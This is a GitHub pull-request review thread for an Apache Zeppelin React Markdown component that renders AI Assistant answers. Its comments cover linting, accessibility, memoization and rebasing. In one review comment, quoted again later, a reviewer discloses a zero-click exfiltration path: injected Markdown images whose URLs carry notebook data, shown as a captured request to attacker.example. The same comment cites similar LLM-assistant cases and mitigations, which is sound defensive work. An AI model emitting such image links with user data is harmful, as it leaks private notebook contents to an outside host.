[miinhho]

What is this PR for?

Add a React Markdown answer component for the AI Assistant.

The component renders GFM tables and language-labelled code blocks, supports unclosed code fences during streaming, and reports paragraph reference clicks through a callback. HTML is displayed as text and dangerous link URLs are blocked.

Includes Storybook examples and unit tests for rendering, input updates, paragraph references, and unsafe content.

What type of PR is it?

Feature

What is the Jira issue?

https://issues.apache.org/jira/browse/ZEPPELIN-6744

How should this be tested?

From zeppelin-web-angular/projects/zeppelin-react:

npm ci
npm test -- --maxWorkers=1
npm run typecheck
npm run lint
npm run build:storybook
npm run storybook

Open Assistant / MarkdownAnswer and check both light and dark themes:

• GfmTable / SqlCode: confirm tables and long code lines scroll within the answer, and code blocks show their language.
• PartialFence / Streaming: confirm an unclosed fence remains readable as chunks arrive and the following paragraph appears after the fence closes.
• ParagraphReference: click the reference and confirm its ID and name appear in the callback status.
• DangerousContent: confirm HTML appears as text and dangerous URLs are not navigable.

Questions:

• Does the license files need to update?
  Yes. MIT license entries and texts for react-markdown and remark-gfm are included.

• Is there breaking changes for older versions?
  No existing public API is changed.

• Does this needs documentation?
  The React README includes a short component description and a pointer to its Storybook examples.

[voidmatcha]

Thanks. I ran the Storybook and checked the specs.

CI: the frontend job fails in npm run lint: prettier --check flags MarkdownAnswer.tsx (the new RegExp(...) call in textReferences fits on one line). prettier --write fixes it.

Fixes for the accessibility and footnote issues below are on my branch: voidmatcha/zeppelin@40506d0...ZEPPELIN-6744-pr5570-review-fixes

Please take whatever you find useful.

[voidmatcha]

Markdown images are rendered by react-markdown's default, so once real LLM output is connected, an injected ![](https://…?q=<notebook data>) is a zero-click data-exfiltration path: the browser requests the image URL as soon as it renders.

Captured request: https://attacker.example/pixel.png?q=SECRET_FROM_NOTEBOOK (a test domain; I intercepted the request).

Not a blocker here since the component has no caller yet. Please track it as a follow-up, for example: resolve image references in the app, load http(s) images only after a click, and/or restrict img-src on the host. Escaping HTML and dropping javascript: URLs, which this PR already does, does not cover it.

Related: this is a well-documented pattern in LLM assistants. The closest analog is Google Colab AI (a notebook assistant): https://embracethered.com/blog/posts/2024/google-colab-image-render-exfil/. Microsoft's Bing Chat fixed it with a Content-Security-Policy that restricts images to a few first-party domains (https://embracethered.com/blog/posts/2023/bing-chat-data-exfiltration-poc-and-fix/), and Claude stopped auto-rendering images and asks the reader to click "Show Image" (https://embracethered.com/blog/posts/2023/anthropic-fixes-claude-data-exfiltration-via-images/).

[voidmatcha]

All non-blocking.

• Performance: memo is defeated when the parent passes inline callbacks, so every keystroke in a sibling input parses the whole answer again. memo -> useMemo (keep the parsed element keyed on content). In a synthetic benchmark (4x CPU throttle, typing while streaming), p95 input latency for a ~10KB answer went 72 -> 24ms.
• Conventions: like [ZEPPELIN-6745] Add AI Assistant message and answer state UI #5567, function X() {} -> export const X = () => {}, props JSDoc, relative import -> @/ alias.
• Headers: other files in this folder use the short Licensed under the Apache License… header. Both pass RAT and the ASF source-header policy names the long form as the standard, so it may be best to unify the repo in one go later (https://www.apache.org/legal/src-headers.html).

[miinhho]

Thanks for providing the fixes. I cherry-picked your six commits covering:

• Anchor prop forwarding, per-answer footnote and heading IDs, and fragment scroll/focus handling without native hash navigation.
• Paragraph-button accessible names, the code-block region role, and the existing visually-hidden style for footnote headings.
• Prettier formatting, Markdown-element memoization, and the component/import conventions.

[miinhho]

Markdown images are rendered by react-markdown's default, so once real LLM output is connected, an injected ![](https://…?q=<notebook data>) is a zero-click data-exfiltration path: the browser requests the image URL as soon as it renders.

Captured request: https://attacker.example/pixel.png?q=SECRET_FROM_NOTEBOOK (a test domain; I intercepted the request).

Not a blocker here since the component has no caller yet. Please track it as a follow-up, for example: resolve image references in the app, load http(s) images only after a click, and/or restrict img-src on the host. Escaping HTML and dropping javascript: URLs, which this PR already does, does not cover it.

Related: this is a well-documented pattern in LLM assistants. The closest analog is Google Colab AI (a notebook assistant): https://embracethered.com/blog/posts/2024/google-colab-image-render-exfil/. Microsoft's Bing Chat fixed it with a Content-Security-Policy that restricts images to a few first-party domains (https://embracethered.com/blog/posts/2023/bing-chat-data-exfiltration-poc-and-fix/), and Claude stopped auto-rendering images and asks the reader to click "Show Image" (https://embracethered.com/blog/posts/2023/anthropic-fixes-claude-data-exfiltration-via-images/).

Agreed, thanks for flagging this. I’ll open a follow-up issue to track the image-loading policy so it can be addressed before real LLM output is connected.

[miinhho]

I found one follow-up issue in the fragment focus handling: setting tabIndex = -1 unconditionally removes the footnote reference link from the tab order after following a back-reference. The handler now adds tabIndex only to non-focusable targets without an explicit tabindex, preserving existing tab stops. Added a regression test verifying that focus returns to the reference and it remains keyboard-reachable.

[voidmatcha]

Thanks for applying the changes. I confirmed all six suggested commits are in, and thanks for catching and fixing the lost tab stop after following a footnote back-reference. The condition is right and the regression test covers it.

I agree to track the image-loading policy as a follow-up issue.

LGTM 👍 Once the prerequisite PRs merge, I will retarget this PR to master and check the final diff and CI before merging.

[voidmatcha]

@miinhho #5562 is on master, and this PR doesn't need #5561 or #5565. Could you rebase onto master, force-push, and then switch the base to master?

git fetch https://github.com/apache/zeppelin.git master
git rebase --onto FETCH_HEAD 4599ad2d9
git push --force-with-lease

It rebases without conflicts and the tests pass. Once this merges, #5572 will need the same rebase onto master.

The base branch was changed.

[voidmatcha]

Merged into master (baeff2f).